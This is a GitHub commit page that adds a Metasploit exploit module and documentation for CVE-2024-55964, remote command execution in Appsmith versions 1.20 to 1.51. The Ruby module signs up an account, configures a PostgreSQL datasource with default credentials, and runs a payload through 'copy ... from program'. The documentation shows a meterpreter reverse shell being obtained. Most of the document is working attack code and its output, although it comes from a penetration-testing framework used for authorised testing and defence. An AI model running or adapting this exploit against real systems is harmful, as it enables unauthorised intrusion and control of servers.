Skip to content

Commit 139dd50

Browse files
Takahiro-YokoTakahiro-Yoko
committed
Add Appsmith RCE module (CVE-2024-55964)
1 parent 04d8173 commit 139dd50

File tree

2 files changed

+287
-0
lines changed

2 files changed

+287
-0
lines changed

‎documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md‎

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
## Vulnerable Application
2+
3+
An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.
4+
5+
The vulnerability affects:
6+
7+
* v1.20 <= Appsmith <= v1.51
8+
9+
This module was successfully tested on:
10+
11+
* Appsmith v1.50 installed with Docker
12+
13+
14+
### Installation
15+
16+
1. Create a docker-compose.yml file with:
17+
```
18+
version: "3"
19+
services:
20+
appsmith:
21+
image: index.docker.io/appsmith/appsmith-ce:v1.50
22+
container_name: appsmith
23+
ports:
24+
- "80:80"
25+
- "443:443"
26+
volumes:
27+
- ./stacks:/appsmith-stacks
28+
restart: unless-stopped
29+
```
30+
31+
2. `docker-compose up`
32+
33+
34+
## Verification Steps
35+
36+
1. Install the application
37+
2. Start msfconsole
38+
3. Do: `use exploit/linux/http/appsmith_rce_cve_2024_55964`
39+
4. Do: `run lhost=<lhost> rhost=<rhost>`
40+
5. You should get a meterpreter
41+
42+
43+
## Options
44+
45+
46+
## Scenarios
47+
```
48+
msf6 > use exploit/linux/http/appsmith_rce_cve_2024_55964
49+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
50+
msf6 exploit(linux/http/appsmith_rce_cve_2024_55964) > options
51+
52+
Module options (exploit/linux/http/appsmith_rce_cve_2024_55964):
53+
54+
Name Current Setting Required Description
55+
---- --------------- -------- -----------
56+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
57+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
58+
RPORT 443 yes The target port (TCP)
59+
SSL false no Negotiate SSL/TLS for outgoing connections
60+
VHOST no HTTP server virtual host
61+
62+
63+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
64+
65+
Name Current Setting Required Description
66+
---- --------------- -------- -----------
67+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
68+
FETCH_DELETE true yes Attempt to delete the binary after execution
69+
FETCH_FILENAME XIYHCHbc no Name to use on remote system when storing payload; cannot contain spaces or slashes
70+
FETCH_SRVHOST no Local IP to use for serving payload
71+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
72+
FETCH_URIPATH no Local URI to use for serving payload
73+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
74+
LHOST yes The listen address (an interface may be specified)
75+
LPORT 4444 yes The listen port
76+
77+
78+
Exploit target:
79+
80+
Id Name
81+
-- ----
82+
0 Linux Command
83+
84+
85+
86+
View the full module info with the info, or info -d command.
87+
88+
msf6 exploit(linux/http/appsmith_rce_cve_2024_55964) > run lhost=172.18.0.1 rhost=172.18.0.2 rport=80
89+
[*] Started reverse TCP handler on 172.18.0.1:4444
90+
[*] Running automatic check ("set AutoCheck false" to disable)
91+
[+] The target appears to be vulnerable. Version 1.50 detected.
92+
[*] Successfully signed up.
93+
[*] Successfully saved DB configuration.
94+
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:56752) at 2025-04-05 14:41:08 +0900
95+
96+
meterpreter > getuid
97+
Server username: postgres
98+
meterpreter > sysinfo
99+
Computer : 172.18.0.2
100+
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
101+
Architecture : x64
102+
BuildTuple : x86_64-linux-musl
103+
Meterpreter : x64/linux
104+
meterpreter >
105+
```

‎modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb‎

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Appsmith RCE',
17+
'Description' => %q{
18+
An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.
19+
},
20+
'Author' => [
21+
'Whit Taylor (Rhino Security Labs)', # Vulnerability discovery and PoC
22+
'Takahiro Yokoyama' # Metasploit module
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
['CVE', '2024-55964'], # Seems like correct CVE is not CVE-2024-55963 but CVE-2024-55964.
27+
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/'],
28+
['URL', 'https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py'],
29+
],
30+
'Platform' => %w[linux],
31+
'Targets' => [
32+
[
33+
'Linux Command', {
34+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
35+
'DefaultOptions' => {
36+
# defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
37+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
38+
}
39+
}
40+
],
41+
],
42+
'DefaultOptions' => {
43+
'FETCH_DELETE' => true
44+
},
45+
'DefaultTarget' => 0,
46+
'Payload' => {
47+
'BadChars' => '\'"'
48+
},
49+
'DisclosureDate' => '2025-03-25',
50+
'Notes' => {
51+
'Stability' => [ CRASH_SAFE, ],
52+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
53+
'Reliability' => [ REPEATABLE_SESSION, ]
54+
}
55+
)
56+
)
57+
register_options(
58+
[
59+
Opt::RPORT(443),
60+
]
61+
)
62+
end
63+
64+
def check
65+
res = send_request_cgi({
66+
'method' => 'GET',
67+
'uri' => normalize_uri(target_uri.path, 'applications')
68+
})
69+
return Exploit::CheckCode::Unknown unless res&.code == 200
70+
71+
html_document = res.get_html_document
72+
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
73+
74+
version_element = html_document.text.match(/parseConfig\('v(\d+\.\d+)'\)/)
75+
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
76+
77+
version = Rex::Version.new(version_element[1])
78+
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.20'), Rex::Version.new('1.51'))
79+
80+
Exploit::CheckCode::Appears("Version #{version} detected.")
81+
end
82+
83+
def exploit
84+
user = { 'email' => "#{rand_text_alphanumeric(3)}@#{rand_text_alphanumeric(3)}.com", 'password' => rand_text_alphanumeric(10).to_s }
85+
res = send_request_cgi({
86+
'method' => 'POST',
87+
'uri' => normalize_uri(target_uri.path, 'api/v1/users'),
88+
'keep_cookies' => true,
89+
'vars_post' => user
90+
})
91+
fail_with(Failure::Unknown, 'Failed to signup.') unless res&.code == 302
92+
print_status('Successfully signed up.')
93+
94+
res = send_request_cgi({
95+
'method' => 'GET',
96+
'uri' => normalize_uri(target_uri.path, 'api/v1/workspaces/home')
97+
})
98+
fail_with(Failure::Unknown, 'Failed to access workspaces.') unless res&.code == 200
99+
100+
workspace_id = res.get_json_document['data'][0]['id']
101+
102+
res = send_request_cgi({
103+
'method' => 'GET',
104+
'uri' => normalize_uri(target_uri.path, 'api/v1/plugins/default/icons')
105+
})
106+
fail_with(Failure::Unknown, 'Failed to get plugin information.') unless res&.code == 200
107+
108+
postgresql_plugin = res.get_json_document['data']&.detect { |row| row['name'] == 'PostgreSQL' }
109+
fail_with(Failure::Unknown, 'Failed to get PostgreSQL plugin information.') unless postgresql_plugin
110+
111+
postgresql_plugin_id = postgresql_plugin['id']
112+
113+
db_conf = {
114+
'datasourceStorages' => {
115+
'unused_env' => {
116+
'datasourceConfiguration' => {
117+
'authentication' => {
118+
'databaseName' => 'postgres',
119+
'password' => 'postgres',
120+
'username' => 'postgres'
121+
},
122+
'connection' => {
123+
'mode' => 'READ_WRITE',
124+
'ssl' => { 'authType' => 'DEFAULT' }
125+
},
126+
'endpoints' => [
127+
{ 'host' => 'localhost', 'port' => '5432' }
128+
],
129+
'properties' => [
130+
nil,
131+
{ 'key' => 'Connection method', 'value' => 'STANDARD' }
132+
],
133+
'sshProxy' => { 'endpoints' => [{ 'port' => '22' }] },
134+
'url' => ''
135+
},
136+
'datasourceId' => '',
137+
'environmentId' => 'unused_env',
138+
'isConfigured' => true
139+
}
140+
},
141+
'name' => rand_text_alphanumeric(20),
142+
'pluginId' => postgresql_plugin_id,
143+
'workspaceId' => workspace_id
144+
}.to_json
145+
res = send_request_cgi({
146+
'method' => 'POST',
147+
'uri' => normalize_uri(target_uri.path, 'api/v1/datasources'),
148+
'ctype' => 'application/json',
149+
'data' => db_conf
150+
})
151+
fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document['responseMeta']['success']
152+
print_status('Successfully saved DB configuration.')
153+
154+
datasource_id = res.get_json_document['data']['id']
155+
156+
table_name = rand_text_alpha(4)
157+
res = send_request_cgi({
158+
'method' => 'POST',
159+
'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"),
160+
'ctype' => 'application/json',
161+
'data' => {
162+
title: 'SELECT',
163+
body: "create temporary table #{table_name} (column1 TEXT);",
164+
suggested: true
165+
}.to_json
166+
})
167+
fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document['responseMeta']['success']
168+
169+
res = send_request_cgi({
170+
'method' => 'POST',
171+
'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"),
172+
'ctype' => 'application/json',
173+
'data' => {
174+
title: 'SELECT',
175+
body: "copy #{table_name} from program '#{payload.encode}';",
176+
suggested: true
177+
}.to_json
178+
})
179+
fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document['responseMeta']['success']
180+
end
181+
182+
end

0 commit comments

Comments
 (0)